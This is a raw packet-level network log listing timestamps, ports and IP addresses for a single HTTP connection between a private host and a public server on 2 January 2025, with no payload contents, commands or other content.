Jan 2, 2025 20:34:57.044270039 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.044286966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.044302940 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.044312954 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.044315100 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.044323921 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.044325113 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.044333935 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.044343948 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.044353962 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.044383049 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.049563885 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.049583912 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.049593925 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.049607992 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.049633980 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.049635887 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.049650908 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.049663067 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.049673080 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.049688101 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.049690962 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.049716949 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.049736977 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.052537918 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.052575111 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.052583933 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.052603960 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.052624941 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.052670956 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.052683115 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.052707911 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.052711964 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.052722931 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.052733898 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.052742958 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.052755117 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.052773952 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.057425976 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.057435989 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.057470083 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.057492971 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.057504892 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.057517052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.057527065 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.057537079 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.057542086 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.057548046 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.057579041 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.057590008 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.061836004 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.061894894 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.061944962 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.061954975 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.061964989 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.061975002 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.061985016 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.061989069 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.061996937 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.062005997 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.062007904 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.062026024 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.062063932 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.067293882 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.067331076 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.067337990 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.067342997 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.067370892 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.067383051 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.067393064 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.067394018 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.067404985 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.067425966 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.067459106 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.067506075 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.067517042 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.067548990 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.072809935 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.072864056 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.072933912 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.072978973 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.073005915 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.073021889 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.073034048 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.073044062 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.073044062 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.073055029 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.073060036 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.073065042 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.073085070 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.073117018 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.074882984 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.074893951 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.074938059 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.075026989 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.075043917 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.075054884 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.075064898 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.075076103 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.075086117 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.075094938 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.075119972 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.075136900 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.093877077 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.093903065 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.093914986 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.093924999 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.093935966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.093946934 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.093955994 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.093961954 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.093990088 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.094022036 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.100716114 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.100727081 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.100773096 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.100800037 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.100802898 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.100812912 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.100825071 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.100835085 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.100846052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.100857019 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.100873947 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.100895882 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.104274035 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.104285002 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.104324102 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.104357958 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.104374886 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.104388952 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.104394913 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.104398966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.104409933 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.104419947 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.104420900 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.104453087 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.108114958 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.108160019 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.108181000 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.108182907 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.108211040 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.108226061 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.108300924 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.108311892 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.108323097 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.108334064 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.108338118 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.108346939 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.108356953 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.108356953 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.108392000 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.111536026 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.111548901 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.111562014 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.111571074 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.111582041 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.111593008 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.111597061 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.111617088 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.111629963 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.111646891 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.111675024 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.129889011 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.129937887 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.129939079 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.129956007 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.129973888 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.129976034 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.129988909 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.129990101 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.130001068 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.130011082 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.130013943 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.130023956 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.130028009 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.130053997 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.130065918 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.130075932 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.130088091 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.130104065 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.130115986 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.130140066 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.130208969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.130220890 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.130232096 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.130242109 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.130254030 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.130275965 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.130306005 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.130317926 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.130336046 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.130347013 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.130351067 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.130353928 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.130356073 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.130362034 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.130373001 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.130383968 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.130384922 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.130393982 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.130395889 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.130405903 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.130414009 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.130429029 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.130455971 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.130995989 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.131006002 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.131019115 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.131037951 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.131037951 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.131047010 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.131057024 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.131079912 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.131087065 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.131092072 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.131110907 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.131119013 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.131162882 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.131162882 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.136423111 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.136434078 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.136472940 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.136559963 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.136570930 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.136584044 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.136594057 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.136605024 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.136617899 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.136615038 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.136643887 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.136666059 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.139410973 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.139430046 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.139441013 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.139451981 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.139466047 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.139483929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.139493942 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.139502048 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.139512062 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.139520884 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.139545918 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.139575958 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.145096064 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.145109892 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.145121098 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.145157099 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.145169020 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.145186901 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.145189047 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.145200968 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.145210981 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.145221949 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.145229101 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.145239115 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.145256042 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.148802996 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.148814917 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.148828030 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.148838997 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.148840904 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.148854971 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.148859978 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.148865938 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.148876905 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.148876905 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.148919106 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.148963928 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.154150009 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.154213905 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.154277086 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.154294968 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.154305935 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.154314041 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.154318094 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.154331923 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.154341936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.154345036 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.154352903 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.154375076 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.154398918 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.160438061 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.160485983 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.160531044 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.160542011 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.160552979 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.160562992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.160573959 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.160581112 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.160586119 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.160626888 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.161698103 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.161719084 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.161742926 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.161776066 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.161880970 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.161891937 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.161904097 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.161916018 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.161926985 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.161933899 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.161940098 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.161961079 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.161988974 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.161990881 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.162002087 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.162044048 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.180713892 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.180748940 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.180757999 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.180759907 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.180771112 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.180782080 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.180784941 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.180792093 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.180803061 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.180807114 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.180814028 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.180840969 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.180872917 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.187649965 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.187668085 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.187679052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.187689066 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.187690973 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.187699080 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.187709093 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.187720060 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.187724113 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.187762022 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.191134930 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.191158056 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.191169024 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.191203117 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.191246986 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.191262007 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.191273928 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.191282988 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.191283941 CET	80	49730	47.254.187.72	192.168.2.4
